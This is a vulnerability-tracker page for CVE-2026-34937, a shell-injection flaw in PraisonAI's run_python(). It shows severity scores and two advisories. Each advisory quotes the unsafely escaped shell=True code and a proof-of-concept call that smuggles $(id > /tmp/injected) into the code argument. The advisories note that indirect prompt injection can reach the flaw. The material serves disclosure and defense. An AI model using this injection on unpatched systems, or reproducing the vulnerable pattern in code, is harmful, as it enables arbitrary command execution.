CVE-2026-34937

criticalpriority · track · 39EPSS 0.006 · 50 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.63% (50th) EPSS
CVSS 9.8 · critical
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-23

PraisonAI is a multi-agent teams system. Prior to version 1.5.90, run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. This issue has been patched in version 1.5.90.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.8
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 7.8–9.8

v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hprimary · NVD / NIST USexploitability 3.9 · impact 5.9
v3.17.8highCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hsecondary · ENISA EU
v3.17.8highCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hsecondary · security-advisories@github.comexploitability 1.8 · impact 5.9
v3.17.8highCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v3.19criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-w37c-qqfp-c67fPraisonAI: Shell Injection in run_python() via Unescaped $() Substitution2026-04-01ghsa · osvUS

    ### Summary `run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c "<code>"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\` and `"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. ### Details `execute_command.py:290` (source) -> `execute_command.py:297` (hop) -> `execute_command.py:310` (sink) ```python # source -- user-controlled code argument def run_python(code: str, cwd=None, timeout=60): # hop -- incomplete escaping, $ and () not handled escaped_code = code.replace('\\', '\\\\').replace('"', '\\"') command = f'{python_cmd} -c "{escaped_code}"' # sink -- shell=True expands $() before python3 runs return execute_command(command=command, cwd=cwd, timeout=timeout) # execute_command calls subprocess.run(command, shell=True, ...) ``` ### PoC ```python # tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30) # install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.code.tools.execute_command import run_python result = run_python(code='$(id > /tmp/injected)') print(result) # verify import subprocess print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout) # expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ``` ### Impact Any agent pipeline or API consumer that passes user or task-supplied content to `run_python()` is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with `AUTH_ENABLED = False` by default when no token is configured.

  • PYSEC-2026-2954PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution2026-07-13vendor · osvUS

    ### Summary `run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c "<code>"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\` and `"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. ### Details `execute_command.py:290` (source) -> `execute_command.py:297` (hop) -> `execute_command.py:310` (sink) ```python # source -- user-controlled code argument def run_python(code: str, cwd=None, timeout=60): # hop -- incomplete escaping, $ and () not handled escaped_code = code.replace('\\', '\\\\').replace('"', '\\"') command = f'{python_cmd} -c "{escaped_code}"' # sink -- shell=True expands $() before python3 runs return execute_command(command=command, cwd=cwd, timeout=timeout) # execute_command calls subprocess.run(command, shell=True, ...) ``` ### PoC ```python # tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30) # install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.code.tools.execute_command import run_python result = run_python(code='$(id > /tmp/injected)') print(result) # verify import subprocess print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout) # expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ``` ### Impact Any agent pipeline or API consumer that passes user or task-supplied content to `run_python()` is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with `AUTH_ENABLED = False` by default when no token is configured.

06

also known as (6)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-04-03modified 2026-07-24
08

references (4)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan